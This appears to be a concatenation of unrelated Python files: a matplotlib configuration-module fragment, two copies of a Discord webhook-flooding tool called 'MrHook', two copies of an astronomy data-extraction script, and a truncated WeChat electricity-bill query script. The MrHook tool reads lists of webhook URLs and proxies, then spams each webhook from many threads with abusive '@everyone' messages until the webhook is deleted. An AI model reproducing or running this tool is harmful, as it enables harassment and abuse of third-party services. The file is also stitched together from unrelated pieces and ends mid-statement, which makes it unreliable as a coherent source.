str(configdir) # If the config or cache directory cannot be created or is not a writable # directory, create a temporary one. tmpdir = os.environ["MPLCONFIGDIR"] = \ tempfile.mkdtemp(prefix="matplotlib-") atexit.register(shutil.rmtree, tmpdir) _log.warning( "Matplotlib created a temporary config/cache directory at %s because " "the default path (%s) is not a writable directory; it is highly " "recommended to set the MPLCONFIGDIR environment variable to a " "writable directory, in particular to speed up the import of " "Matplotlib and to better support multiprocessing.", tmpdir, configdir) return tmpdir @_logged_cached('CONFIGDIR=%s') def get_configdir(): """ Return the string path of the the configuration directory. The directory is chosen as follows: 1. If the MPLCONFIGDIR environment variable is supplied, choose that. 2. On Linux, follow the XDG specification and look first in ``$XDG_CONFIG_HOME``, if defined, or ``$HOME/.config``. On other platforms, choose ``$HOME/.matplotlib``. 3. If the chosen directory exists and is writable, use that as the configuration directory. 4. Else, create a temporary directory, and use it as the configuration directory. """ return _get_config_or_cache_dir(_get_xdg_config_dir) @_logged_cached('CACHEDIR=%s') def get_cachedir(): """ Return the string path of the cache directory. The procedure used to find the directory is the same as for _get_config_dir, except using ``$XDG_CACHE_HOME``/``$HOME/.cache`` instead. """ return _get_config_or_cache_dir(_get_xdg_cache_dir) @_logged_cached('matplotlib data path: %s') def get_data_path(): """Return the path to Matplotlib data.""" return str(Path(__file__).with_name("mpl-data")) def matplotlib_fname(): """ Get the location of the config file. The file location is determined in the following order - ``$PWD/matplotlibrc`` - ``$MATPLOTLIBRC`` if it is not a directory - ``$MATPLOTLIBRC/matplotlibrc`` - ``$MPLCONFIGDIR/matplotlibrc`` - On Linux, - ``$XDG_CONFIG_HOME/matplotlib/matplotlibrc`` (if ``$XDG_CONFIG_HOME`` is defined) - or ``$HOME/.config/matplotlib/matplotlibrc`` (if ``$XDG_CONFIG_HOME`` is not defined) - On other platforms, - ``$HOME/.matplotlib/matplotlibrc`` if ``$HOME`` is defined - Lastly, it looks in ``$MATPLOTLIBDATA/matplotlibrc``, which should always exist. """ def gen_candidates(): # rely on down-stream code to make absolute. This protects us # from having to directly get the current working directory # which can fail if the user has ended up with a cwd that is # non-existent. yield 'matplotlibrc' try: matplotlibrc = os.environ['MATPLOTLIBRC'] except KeyError: pass else: yield matplotlibrc yield os.path.join(matplotlibrc, 'matplotlibrc') yield os.path.join(get_configdir(), 'matplotlibrc') yield os.path.join(get_data_path(), 'matplotlibrc') for fname in gen_candidates(): if os.path.exists(fname) and not os.path.isdir(fname): return fname raise RuntimeError("Could not find matplotlibrc file; your Matplotlib " "install is broken") # rcParams deprecated and automatically mapped to another key. # Values are tuples of (version, new_name, f_old2new, f_new2old). _deprecated_map = {} # rcParams deprecated; some can manually be mapped to another key. # Values are tuples of (version, new_name_or_None). _deprecated_ignore_map = { 'mpl_toolkits.legacy_colorbar': ('3.4', None), } # rcParams deprecated; can use None to suppress warnings; remain actually # listed in the rcParams (not included in _all_deprecated). # Values are tuples of (version,) _deprecated_remain_as_none = { 'animation.avconv_path': ('3.3',), 'animation.avconv_args': ('3.3',), 'animation.html_args': ('3.3',), 'mathtext.fallback_to_cm': ('3.3',), 'keymap.all_axes': ('3.3',), 'savefig.jpeg_quality': ('3.3',), 'text.latex.preview': ('3.3',), } _all_deprecated = {*_deprecated_map, *_deprecated_ignore_map} @docstring.Substitution("\n".join(map("- {}".format, rcsetup._validators))) class RcParams(MutableMapping, dict): """ A dictionary object including validation. Validating functions are defined and associated with rc parameters in :mod:`matplotlib.rcsetup`. The list of rcParams is: %s See Also -------- :ref:`customizing-with-matplotlibrc-files` """ validate = rcsetup._validators # validate values on the way in def __init__(self, *args, **kwargs): self.update(*args, **kwargs) def __setitem__(self, key, val): try: if key in _deprecated_map: version, alt_key, alt_val, inverse_alt = _deprecated_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) key = alt_key val = alt_val(val) elif key in _deprecated_remain_as_none and val is not None: version, = _deprecated_remain_as_none[key] _api.warn_deprecated(version, name=key, obj_type="rcparam") elif key in _deprecated_ignore_map: version, alt_key = _deprecated_ignore_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) return elif key == 'backend': if val is rcsetup._auto_backend_sentinel: if 'backend' in self: return try: cval = self.validate[key](val) except ValueError as ve: raise ValueError(f"Key {key}: {ve}") from None dict.__setitem__(self, key, cval) except KeyError as err: raise KeyError( f"{key} is not a valid rc parameter (see rcParams.keys() for " f"a list of valid parameters)") from err def __getitem__(self, key): if key in _deprecated_map: version, alt_key, alt_val, inverse_alt = _deprecated_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) return inverse_alt(dict.__getitem__(self, alt_key)) elif key in _deprecated_ignore_map: version, alt_key = _deprecated_ignore_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) return dict.__getitem__(self, alt_key) if alt_key else None elif key == "backend": val = dict.__getitem__(self, key) if val is rcsetup._auto_backend_sentinel: from matplotlib import pyplot as plt plt.switch_backend(rcsetup._auto_backend_sentinel) return dict.__getitem__(self, key) def __repr__(self): class_name = self.__class__.__name__ indent = len(class_name) + 1 with _api.suppress_matplotlib_deprecation_warning(): repr_split = pprint.pformat(dict(self), indent=1, width=80 - indent).split('\n') repr_indented = ('\n' + ' ' * indent).join(repr_split) return '{}({})'.format(class_name, repr_indented) def __str__(self): return '\n'.join(map('{0[0]}: {0[1]}'.format, sorted(self.items()))) def __iter__(self): """Yield sorted list of keys.""" with _api.suppress_matplotlib_deprecation_warning(): yield from sorted(dict.__iter__(self)) def __len__(self): return dict.__len__(self) def find_all(self, pattern): """ Return the subset of this RcParams dictionary whose keys match, using :func:`re.search`, the given ``pattern``. .. note:: Changes to the returned dictionary are *not* propagated to the parent RcParams dictionary. """ pattern_re = re.compile(pattern) return RcParams((key, value) for key, value in self.items() if pattern_re.search(key)) def copy(self): return {k: dict.__getitem__(self, k) for k in self} def rc_params(fail_on_error=False): """Construct a `RcParams` instance from the default Matplotlib rc file.""" return rc_params_from_file(matplotlib_fname(), fail_on_error) URL_REGEX = re.compile(r'^http://|^https://|^ftp://|^file:') def is_url(filename): """Return whether *filename* is an http, https, ftp, or file URL path.""" return URL_REGEX.match(filename) is not None @functools.lru_cache() def _get_ssl_context(): try: import certifi except ImportError: _log.debug("Could not import certifi.") return None import ssl return ssl.create_default_context(cafile=certifi.where()) @contextlib.contextmanager def _open_file_or_url(fname): if not isinstance(fname, Path) and is_url(fname): import urllib.request ssl_ctx = _get_ssl_context() if ssl_ctx is None: _log.debug( "Could not get certifi ssl context, https may not work." ) with urllib.request.urlopen(fname, context=ssl_ctx) as f: yield (line.decode('utf-8') for line in f) else: fname = os.path.expanduser(fname) encoding = locale.getpreferredencoding(do_setlocale=False) if encoding is None: encoding = "utf-8" with open(fname, encoding=encoding) as f: yield f def _rc_params_in_file(fname, transform=lambda x: x, fail_on_error=False): """ Construct a `RcParams` instance from file *fname*. Unlike `rc_params_from_file`, the configuration class only contains the parameters specified in the file (i.e. default values are not filled in). Parameters ---------- fname : path-like The loaded file. transform : callable, default: the identity function A function called on each individual line of the file to transform it, before further parsing. fail_on_error : bool, default: False Whether invalid entries should result in an exception or a warning. """ rc_temp = {} with _open_file_or_url(fname) as fd: try: for line_no, line in enumerate(fd, 1): line = transform(line) strippedline = line.split('#', 1)[0].strip() if not strippedline: continue tup = strippedline.split(':', 1) if len(tup) != 2: _log.warning('Missing colon in file %r, line %d (%r)', fname, line_no, line.rstrip('\n')) continue key, val = tup key = key.strip() val = val.strip() if key in rc_temp: _log.warning('Duplicate key in file %r, line %d (%r)', fname, line_no, line.rstrip('\n')) rc_temp[key] = (val, line, line_no) except UnicodeDecodeError: _log.warning('Cannot decode configuration file %s with encoding ' '%s, check LANG and LC_* variables.', fname, locale.getpreferredencoding(do_setlocale=False) or 'utf-8 (default)') raise config = RcParams() for key, (val, line, line_no) in rc_temp.items(): if key in rcsetup._validators: if fail_on_error: config[key] = val # try to convert to proper type or raise else: try: config[key] = val # try to convert to proper type or skip except Exception as msg: _log.warning('Bad value in file %r, line %d (%r): %s', fname, line_no, line.rstrip('\n'), msg) elif key in _deprecated_ignore_map: version, alt_key = _deprecated_ignore_map[key] _api.warn_deprecated( version, name=key, alternative=alt_key, obj_type='rcparam', addendum="Please update your matplotlibrc.") else: version = 'master' if '.post' in __version__ else f'v{__version__}' _log.warning(""" Bad key %(key)s in file %(fname)s, line %(line_no)s (%(line)r) You probably need to get an updated matplotlibrc file from https://github.com/matplotlib/matplotlib/blob/%(version)s/matplotlibrc.template or from the matplotlib source distribution""", dict(key=key, fname=fname, line_no=line_no, line=line.rstrip('\n'), version=version)) return config def rc_params_from_file(fname, fail_on_error=False, use_default_template=True): """ Construct a `RcParams` from file *fname*. Parameters ---------- fname : str or path-like A file with Matplotlib rc settings. fail_on_error : bool If True, raise an error when the parser fails to convert a parameter. use_default_template : bool If True, initialize with default parameters before updating with those in the given file. If False, the configuration class only contains the parameters specified in the file. (Useful for updating dicts.) """ config_from_file = _rc_params_in_file(fname, fail_on_error=fail_on_error) if not use_default_template: return config_from_file with _api.suppress_matplotlib_deprecation_warning(): config = RcParams({**rcParamsDefault, **config_from_file}) if "".join(config['text.latex.preamble']): _log.info(""" ***************************************************************** You have the following UNSUPPORTED LaTeX preamble customizations: %s Please do not ask for support with these customizations active. ***************************************************************** """, '\n'.join(config['text.latex.preamble'])) _log.debug('loaded rc file %s', fname) return config # When constructing the global instances, we need to perform certain updates # by explicitly calling the superclass (dict.update, dict.items) to avoid # triggering resolution of _auto_backend_sentinel. rcParamsDefault = _rc_params_in_file( cbook._get_data_path("matplotlibrc"), # Strip leading comment. transform=lambda line: line[1:] if line.startswith("#") else line, fail_on_error=True) dict.update(rcParamsDefault, rcsetup._hardcoded_defaults) rcParams = RcParams() # The global instance. dict.update(rcParams, dict.items(rcParamsDefault)) dict.update(rcParams, _rc_params_in_file(matplotlib_fname())) with _api.suppress_matplotlib_deprecation_warning(): rcParamsOrig = RcParams(rcParams.copy()) # This also checks that all rcParams are indeed listed in the template. # Assigning to rcsetup.defaultParams is left only for backcompat. defaultParams = rcsetup.defaultParams = { # We want to resolve deprecated rcParams, but not backend... key: [(rcsetup._auto_backend_sentinel if key == "backend" else rcParamsDefault[key]), validator] for key, validator in rcsetup._validators.items()} if rcParams['axes.formatter.use_locale']: locale.setlocale(locale.LC_ALL, '') def rc(group, **kwargs): """ Set the current `.rcParams`. *group* is the grouping for the rc, e.g., for ``lines.linewidth`` the group is ``lines``, for ``axes.facecolor``, the group is ``axes``, and so on. Group may also be a list or tuple of group names, e.g., (*xtick*, *ytick*). *kwargs* is a dictionary attribute name/value pairs, e.g.,:: rc('lines', linewidth=2, color='r') sets the current `.rcParams` and is equivalent to:: rcParams['lines.linewidth'] = 2 rcParams['lines.color'] = 'r' The following aliases are available to save typing for interactive users: ===== ================= Alias Property ===== ================= 'lw' 'linewidth' 'ls' 'linestyle' 'c' 'color' 'fc' 'facecolor' 'ec' 'edgecolor' 'mew' 'markeredgewidth' 'aa' 'antialiased' ===== ================= Thus you could abbreviate the above call as:: rc('lines', lw=2, c='r') Note you can use python's kwargs dictionary facility to store dictionaries of default parameters. e.g., you can customize the font rc as follows:: font = {'family' : 'monospace', 'weight' : 'bold', 'size' : 'larger'} rc('font', **font) # pass in the font dict as kwargs This enables you to easily switch between several configurations. Use ``matplotlib.style.use('default')`` or :func:`~matplotlib.rcdefaults` to restore the default `.rcParams` after changes. Notes ----- Similar functionality is available by using the normal dict interface, i.e. ``rcParams.update({"lines.linewidth": 2, ...})`` (but ``rcParams.update`` does not support abbreviations or grouping). """ aliases = { 'lw': 'linewidth', 'ls': 'linestyle', 'c': 'color', 'fc': 'facecolor', 'ec': 'edgecolor', 'mew': 'markeredgewidth', 'aa': 'antialiased', } if isinstance(group, str): group = (group,) for g in group: for k, v in kwargs.items(): name = aliases.get(k) or k key = '%s.%s' % (g, name) try: rcParams[key] = v except KeyError as err: raise KeyError(('Unrecognized key "%s" for group "%s" and ' 'name "%s"') % (key, g, name)) from err def rcdefaults(): """ Restore the `.rcParams` from Matplotlib's internal default style. Style-blacklisted `.rcParams` (defined in `matplotlib.style.core.STYLE_BLACKLIST`) are not updated. See Also -------- matplotlib.rc_file_defaults Restore the `.rcParams` from the rc file originally loaded by Matplotlib. matplotlib.style.use Use a specific style file. Call ``style.use('default')`` to restore the default style. """ # Deprecation warnings were already handled when creating rcParamsDefault, # no need to reemit them here. with _api.suppress_matplotlib_deprecation_warning(): from .style.core import STYLE_BLACKLIST rcParams.clear() rcParams.update({k: v for k, v in rcParamsDefault.items() if k not in STYLE_BLACKLIST}) def rc_file_defaults(): """ Restore the `.rcParams` from the original rc file loaded by Matplotlib. Style-blacklisted `.rcParams` (defined in `matplotlib.style.core.STYLE_BLACKLIST`) are not updated. """ # Deprecation warnings were already handled when creating rcParamsOrig, no # need to reemit them here. with _api.suppress_matplotlib_deprecation_warning(): from .style.core import STYLE_BLACKLIST rcParams.update({k: rcParamsOrig[k] for k in rcParamsOrig if k not in STYLE_BLACKLIST}) def rc_file(fname, *, use_default_template=True): """ Update `.rcParams` from file. Style-blacklisted `.rcParams` (defined in `matplotlib.style.core.STYLE_BLACKLIST`) are not updated. Parameters ---------- fname : str or path-like A file with Matplotlib rc settings. use_default_template : bool If True, initialize with default parameters before updating with those in the given file. If False, the current configuration persists and only the parameters specified in the file are updated. """ # Deprecation warnings were already handled in rc_params_from_file, no need # to reemit them here. with _api.suppress_matplotlib_deprecation_warning(): from .style.core import STYLE_BLACKLIST rc_from_file = rc_params_from_file( fname, use_default_template=use_default_template) rcParams.update({k: rc_from_file[k] for k in rc_from_file if k not in STYLE_BLACKLIST}) @contextlib.contextmanager def rc_context(rc=None, fname=None): """ Return a context manager for temporarily changing rcParams. Parameters ---------- rc : dict The rcParams to temporarily set. fname : str or path-like A file with Matplotlib rc settings. If both *fname* and *rc* are given, settings from *rc* take precedence. See Also -------- :ref:`customizing-with-matplotlibrc-files` Examples -------- Passing explicit values via a dict:: with mpl.rc_context({'interactive': False}): fig, ax = plt.subplots() ax.plot(range(3), range(3)) fig.savefig('example.png') plt.close(fig) Loading settings from a file:: with mpl.rc_context(fname='print.rc'): plt.plot(x, y) # uses 'print.rc' """ orig = rcParams.copy() try: if fname: rc_file(fname) if rc: rcParams.update(rc) yield finally: dict.update(rcParams, orig) # Revert to the original rcs. def use(backend, *, force=True): """ Select the backend used for rendering and GUI integration. Parameters ---------- backend : str The backend to switch to. This can either be one of the standard backend names, which are case-insensitive: - interactive backends: GTK3Agg, GTK3Cairo, MacOSX, nbAgg, Qt4Agg, Qt4Cairo, Qt5Agg, Qt5Cairo, TkAgg, TkCairo, WebAgg, WX, WXAgg, WXCairo - non-interactive backends: agg, cairo, pdf, pgf, ps, svg, template or a string of the form: ``module://my.module.name``. force : bool, default: True If True (the default), raise an `ImportError` if the backend cannot be set up (either because it fails to import, or because an incompatible GUI interactive framework is already running); if False, ignore the failure. See Also -------- :ref:`backends` matplotlib.get_backend """ name = validate_backend(backend) # we need to use the base-class method here to avoid (prematurely) # resolving the "auto" backend setting if dict.__getitem__(rcParams, 'backend') == name: # Nothing to do if the requested backend is already set pass else: # if pyplot is not already imported, do not import it. Doing # so may trigger a `plt.switch_backend` to the _default_ backend # before we get a chance to change to the one the user just requested plt = sys.modules.get('matplotlib.pyplot') # if pyplot is imported, then try to change backends if plt is not None: try: # we need this import check here to re-raise if the # user does not have the libraries to support their # chosen backend installed. plt.switch_backend(name) except ImportError: if force: raise # if we have not imported pyplot, then we can set the rcParam # value which will be respected when the user finally imports # pyplot else: rcParams['backend'] = backend # if the user has asked for a given backend, do not helpfully # fallback rcParams['backend_fallback'] = False if os.environ.get('MPLBACKEND'): rcParams['backend'] = os.environ.get('MPLBACKEND') def get_backend(): """ Return the name of the current backend. See Also -------- matplotlib.use """ return rcParams['backend'] def interactive(b): """ Set whether to redraw after every plotting command (e.g. `.pyplot.xlabel`). """ rcParams['interactive'] = b def is_interactive(): """ Return whether to redraw after every plotting command. .. note:: This function is only intended for use in backends. End users should use `.pyplot.isinteractive` instead. """ return rcParams['interactive'] default_test_modules = [ 'matplotlib.tests', 'mpl_toolkits.tests', ] def _init_tests(): # The version of FreeType to install locally for running the # tests. This must match the value in `setupext.py` LOCAL_FREETYPE_VERSION = '2.6.1' from matplotlib import ft2font if (ft2font.__freetype_version__ != LOCAL_FREETYPE_VERSION or ft2font.__freetype_build_type__ != 'local'): _log.warning( f"Matplotlib is not built with the correct FreeType version to " f"run tests. Rebuild without setting system_freetype=1 in " f"setup.cfg. Expect many image comparison failures below. " f"Expected freetype version {LOCAL_FREETYPE_VERSION}. " f"Found freetype version {ft2font.__freetype_version__}. " "Freetype build type is {}local".format( "" if ft2font.__freetype_build_type__ == 'local' else "not ")) @_api.delete_parameter("3.3", "recursionlimit") def test(verbosity=None, coverage=False, *, recursionlimit=0, **kwargs): """Run the matplotlib test suite.""" try: import pytest except ImportError: print("matplotlib.test requires pytest to run.") return -1 if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'tests')): print("Matplotlib test data is not installed") return -1 old_backend = get_backend() old_recursionlimit = sys.getrecursionlimit() try: use('agg') if recursionlimit: sys.setrecursionlimit(recursionlimit) args = kwargs.pop('argv', []) provide_default_modules = True use_pyargs = True for arg in args: if any(arg.startswith(module_path) for module_path in default_test_modules): provide_default_modules = False break if os.path.exists(arg): provide_default_modules = False use_pyargs = False break if use_pyargs: args += ['--pyargs'] if provide_default_modules: args += default_test_modules if coverage: args += ['--cov'] if verbosity: args += ['-' + 'v' * verbosity] retcode = pytest.main(args, **kwargs) finally: if old_backend.lower() != 'agg': use(old_backend) if recursionlimit: sys.setrecursionlimit(old_recursionlimit) return retcode test.__test__ = False # pytest: this function is not a test def _replacer(data, value): """ Either returns ``data[value]`` or passes ``data`` back, converts either to a sequence. """ try: # if key isn't a string don't bother if isinstance(value, str): # try to use __getitem__ value = data[value] except Exception: # key does not exist, silently fall back to key pass return sanitize_sequence(value) def _label_from_arg(y, default_name): try: return y.name except AttributeError: if isinstance(default_name, str): return default_name return None _DATA_DOC_TITLE = """ Notes ----- """ _DATA_DOC_APPENDIX = """ .. note:: In addition to the above described arguments, this function can take a *data* keyword argument. If such a *data* argument is given, {replaced} Objects passed as **data** must support item access (``data[s]``) and membership test (``s in data``). """ def _add_data_doc(docstring, replace_names): """ Add documentation for a *data* field to the given docstring. Parameters ---------- docstring : str The input docstring. replace_names : list of str or None The list of parameter names which arguments should be replaced by ``data[name]`` (if ``data[name]`` does not throw an exception). If None, replacement is attempted for all arguments. Returns ------- str The augmented docstring. """ if (docstring is None or replace_names is not None and len(replace_names) == 0): return docstring docstring = inspect.cleandoc(docstring) repl = ( (" every other argument can also be string ``s``, which is\n" " interpreted as ``data[s]`` (unless this raises an exception).") if replace_names is None else (" the following arguments can also be string ``s``, which is\n" " interpreted as ``data[s]`` (unless this raises an exception):\n" " " + ", ".join(map("*{}*".format, replace_names))) + ".") addendum = _DATA_DOC_APPENDIX.format(replaced=repl) if _DATA_DOC_TITLE not in docstring: addendum = _DATA_DOC_TITLE + addendum return docstring + addendum def _preprocess_data(func=None, *, replace_names=None, label_namer=None): """ A decorator to add a 'data' kwarg to a function. When applied:: @_preprocess_data() def func(ax, *args, **kwargs): ... the signature is modified to ``decorated(ax, *args, data=None, **kwargs)`` with the following behavior: - if called with ``data=None``, forward the other arguments to ``func``; - otherwise, *data* must be a mapping; for any argument passed in as a string ``name``, replace the argument by ``data[name]`` (if this does not throw an exception), then forward the arguments to ``func``. In either case, any argument that is a `MappingView` is also converted to a list. Parameters ---------- replace_names : list of str or None, default: None The list of parameter names for which lookup into *data* should be attempted. If None, replacement is attempted for all arguments. label_namer : str, default: None If set e.g. to "namer" (which must be a kwarg in the function's signature -- not as ``**kwargs``), if the *namer* argument passed in is a (string) key of *data* and no *label* kwarg is passed, then use the (string) value of the *namer* as *label*. :: @_preprocess_data(label_namer="foo") def func(foo, label=None): ... func("key", data={"key": value}) # is equivalent to func.__wrapped__(value, label="key") """ if func is None: # Return the actual decorator. return functools.partial( _preprocess_data, replace_names=replace_names, label_namer=label_namer) sig = inspect.signature(func) varargs_name = None varkwargs_name = None arg_names = [] params = list(sig.parameters.values()) for p in params: if p.kind is Parameter.VAR_POSITIONAL: varargs_name = p.name elif p.kind is Parameter.VAR_KEYWORD: varkwargs_name = p.name else: arg_names.append(p.name) data_param = Parameter("data", Parameter.KEYWORD_ONLY, default=None) if varkwargs_name: params.insert(-1, data_param) else: params.append(data_param) new_sig = sig.replace(parameters=params) arg_names = arg_names[1:] # remove the first "ax" / self arg assert {*arg_names}.issuperset(replace_names or []) or varkwargs_name, ( "Matplotlib internal error: invalid replace_names ({!r}) for {!r}" .format(replace_names, func.__name__)) assert label_namer is None or label_namer in arg_names, ( "Matplotlib internal error: invalid label_namer ({!r}) for {!r}" .format(label_namer, func.__name__)) @functools.wraps(func) def inner(ax, *args, data=None, **kwargs): if data is None: return func(ax, *map(sanitize_sequence, args), **kwargs) bound = new_sig.bind(ax, *args, **kwargs) auto_label = (bound.arguments.get(label_namer) or bound.kwargs.get(label_namer)) for k, v in bound.arguments.items(): if k == varkwargs_name: for k1, v1 in v.items(): if replace_names is None or k1 in replace_names: v[k1] = _replacer(data, v1) elif k == varargs_name: if replace_names is None: bound.arguments[k] = tuple(_replacer(data, v1) for v1 in v) else: if replace_names is None or k in replace_names: bound.arguments[k] = _replacer(data, v) new_args = bound.args new_kwargs = bound.kwargs args_and_kwargs = {**bound.arguments, **bound.kwargs} if label_namer and "label" not in args_and_kwargs: new_kwargs["label"] = _label_from_arg( args_and_kwargs.get(label_namer), auto_label) return func(*new_args, **new_kwargs) inner.__doc__ = _add_data_doc(inner.__doc__, replace_names) inner.__signature__ = new_sig return inner _log.debug('matplotlib version %s', __version__) _log.debug('interactive is %s', is_interactive()) _log.debug('platform is %s', sys.platform) _log.debug('loaded modules: %s', list(sys.modules))
from colorama import Fore, Style, init; init() from threading import Thread, Lock import os, requests, time lock = Lock() def Printer(color, past, text, proxy): lock.acquire() print(f'{Fore.LIGHTWHITE_EX}[{color}{past}{Fore.LIGHTWHITE_EX}] {text} ~ {proxy.split('://')[1]}.') lock.release() class MrHook: def __init__(self): self.proxy_list = [] self.url_list = [] self.send = 0 self.initialize() def initialize(self): os.system('cls && title IceBear - Mr.Hook' if os.name == 'nt' else 'clear') print(f'''{Style.BRIGHT}{Fore.BLUE} __ __ _ _ ___ ___ _ __ | \/ |_ _ | || |/ _ \ / _ \| |/ / | |\/| | '_|| __ | (_) | (_) | ' < |_| |_|_|{Fore.WHITE}(_){Fore.BLUE}_||_|\___/ \___/|_|\_\\ ''') with open('proxy.txt', 'r') as proxy_file: for proxy in proxy_file: self.proxy_list.append(proxy.split('\n')[0]) with open('./url.txt', 'r') as url_file: for url in url_file: self.url_list.append(url.split('\n')[0]) self.proxy_list = list(set(self.proxy_list)) self.url_list = list(set(self.url_list)) def worker(self, webhook, proxy): alive = True while alive: try: response = requests.post(webhook, headers= {'content-type': 'application/json'}, proxies= {'http': proxy, 'https': proxy}, json= { 'content': '> ||@everyone|| **MrHook was here** | Fucked up by MrHook', 'username': 'Fucked by MrHook' }) if response.status_code == 204: self.send += 1 Printer(Fore.LIGHTGREEN_EX, '+', 'Hook sent', proxy) elif response.status_code == 429: # {'global': False, 'message': 'You are being rate limited.', 'retry_after': 23853} #print(response.json()) timeout = int(str(response.json()['retry_after'])[2:]) Printer(Fore.YELLOW, '~', f'Ratelimited sleep {timeout}s', proxy) time.sleep(timeout) elif response.status_code == 404: self.send += 1 Printer(Fore.LIGHTMAGENTA_EX, '-', 'Hook deleted', proxy) alive = False break except: pass def start_worker(self): thread_list = [] for url in self.url_list: for proxy in self.proxy_list: thread_list.append(Thread(target= self.worker, args= (url, proxy))) for thread in thread_list: thread.start() for thread in thread_list: thread.join() print('Finished') MrHook().start_worker()
from colorama import Fore, Style, init; init() from threading import Thread, Lock import os, requests, time lock = Lock() def Printer(color, past, text, proxy): lock.acquire() print(f'{Fore.LIGHTWHITE_EX}[{color}{past}{Fore.LIGHTWHITE_EX}] {text} ~ {proxy.split("://")[1]}.') lock.release() class MrHook: def __init__(self): self.proxy_list = [] self.url_list = [] self.send = 0 self.initialize() def initialize(self): os.system('cls && title IceBear - Mr.Hook' if os.name == 'nt' else 'clear') print(f'''{Style.BRIGHT}{Fore.BLUE} __ __ _ _ ___ ___ _ __ | \/ |_ _ | || |/ _ \ / _ \| |/ / | |\/| | '_|| __ | (_) | (_) | ' < |_| |_|_|{Fore.WHITE}(_){Fore.BLUE}_||_|\___/ \___/|_|\_\\ ''') with open('proxy.txt', 'r') as proxy_file: for proxy in proxy_file: self.proxy_list.append(proxy.split('\n')[0]) with open('./url.txt', 'r') as url_file: for url in url_file: self.url_list.append(url.split('\n')[0]) self.proxy_list = list(set(self.proxy_list)) self.url_list = list(set(self.url_list)) def worker(self, webhook, proxy): alive = True while alive: try: response = requests.post(webhook, headers= {'content-type': 'application/json'}, proxies= {'http': proxy, 'https': proxy}, json= { 'content': '> ||@everyone|| **MrHook was here** | Fucked up by MrHook', 'username': 'Fucked by MrHook' }) if response.status_code == 204: self.send += 1 Printer(Fore.LIGHTGREEN_EX, '+', 'Hook sent', proxy) elif response.status_code == 429: # {'global': False, 'message': 'You are being rate limited.', 'retry_after': 23853} #print(response.json()) timeout = int(str(response.json()['retry_after'])[2:]) Printer(Fore.YELLOW, '~', f'Ratelimited sleep {timeout}s', proxy) time.sleep(timeout) elif response.status_code == 404: self.send += 1 Printer(Fore.LIGHTMAGENTA_EX, '-', 'Hook deleted', proxy) alive = False break except: pass def start_worker(self): thread_list = [] for url in self.url_list: for proxy in self.proxy_list: thread_list.append(Thread(target= self.worker, args= (url, proxy))) for thread in thread_list: thread.start() for thread in thread_list: thread.join() print('Finished') MrHook().start_worker()
from sstcam_sandbox import get_astri_2019 from os.path import join, abspath, dirname import pandas as pd import subprocess DIR = abspath(dirname(__file__)) DATA = get_astri_2019("d2019-04-23_nudges") def main(): spe_config = join(DIR, "spe_config.yml") df_spe = pd.read_csv(join(DIR, "spe_runlist.txt"), sep='\t') for _, row in df_spe.iterrows(): nudge = row['nudge'] spe_paths = [ join(DATA, f"spe_0.5pe/{row["spe_0.5pe"]}"), join(DATA, f"spe_0.8pe/{row["spe_0.8pe"]}"), join(DATA, f"spe_1.1pe/{row["spe_1.1pe"]}"), join(DATA, f"spe_1.7pe/{row["spe_1.7pe"]}"), join(DATA, f"spe_2.4pe/{row["spe_2.4pe"]}"), ] spe_paths_str = " ".join(spe_paths) output_path = join(DATA, f"spe_{nudge:+d}.h5") cmd = ( f"extract_spe -f {spe_paths_str} -C charge_cc " f"-c {spe_config} -o {output_path}" ) print(cmd) subprocess.call(cmd) if __name__ == '__main__': main()
from sstcam_sandbox import get_astri_2019 from os.path import join, abspath, dirname import pandas as pd import subprocess DIR = abspath(dirname(__file__)) DATA = get_astri_2019("d2019-04-23_nudges") def main(): spe_config = join(DIR, "spe_config.yml") df_spe = pd.read_csv(join(DIR, "spe_runlist.txt"), sep='\t') for _, row in df_spe.iterrows(): nudge = row['nudge'] spe_paths = [ join(DATA, f"spe_0.5pe/{row['spe_0.5pe']}"), join(DATA, f"spe_0.8pe/{row['spe_0.8pe']}"), join(DATA, f"spe_1.1pe/{row['spe_1.1pe']}"), join(DATA, f"spe_1.7pe/{row['spe_1.7pe']}"), join(DATA, f"spe_2.4pe/{row['spe_2.4pe']}"), ] spe_paths_str = " ".join(spe_paths) output_path = join(DATA, f"spe_{nudge:+d}.h5") cmd = ( f"extract_spe -f {spe_paths_str} -C charge_cc " f"-c {spe_config} -o {output_path}" ) print(cmd) subprocess.call(cmd) if __name__ == '__main__': main()
# -*- coding: utf8 -*- import requests import json def send(content, config): print("企业微信应用消息推送开始") qywx_corpid = config.get('qywx_corpid') qywx_agentid = config.get('qywx_agentid') qywx_corpsecret = config.get('qywx_corpsecret') qywx_touser = config.get('qywx_touser') res = requests.get( f"https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid={qywx_corpid}&corpsecret={qywx_corpsecret}" ) token = res.json().get("access_token", False) data = { "touser": qywx_touser, "agentid": int(qywx_agentid), "msgtype": "textcard", "textcard": { "title": "电费查询", "description": content, "url": "URL", }, } requests.post(url=f"https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token={token}", data=json.dumps(data)) return def main_handler(event, context): with open('./config.json', "r", encoding="utf-8") as f: config = json.loads(f.read()) url = f"http://wxpay.hnu.edu.cn/api/appElectricCharge/checkRoomNo?parkNo={config.get("parkNo")}&buildingNo={config.get("buildingNo")}&rechargeType=2&roomNo={config.get("roomNo")}" # http://wxpay.hnu.edu.cn/api/appElectricCharge/checkRoomNo?parkNo?parkNo={config.get('parkNo')}&buildingNo={config.get('buildingNo')}&rechargeType=2&roomNo={config.get('roomNo')} headers = { "Host": "wxpay.hnu.edu.cn", "Proxy-Connection": "keep-alive", "Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6305002e)", "X-Requested-With": "XMLHttpRequest", # "Cookie": config.get('cookies'), "refere": "http://wxpay.hnu.edu.cn/electricCharge/home/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" } ret = requests.get(url=url, headers=headers).json() msg = [] if ret.get("msg") == "成功": result = ret.get("data", {}) msg.append({"name": "园区", "value": result.get("ParkName")}) msg.append({"name": "楼栋", "value": 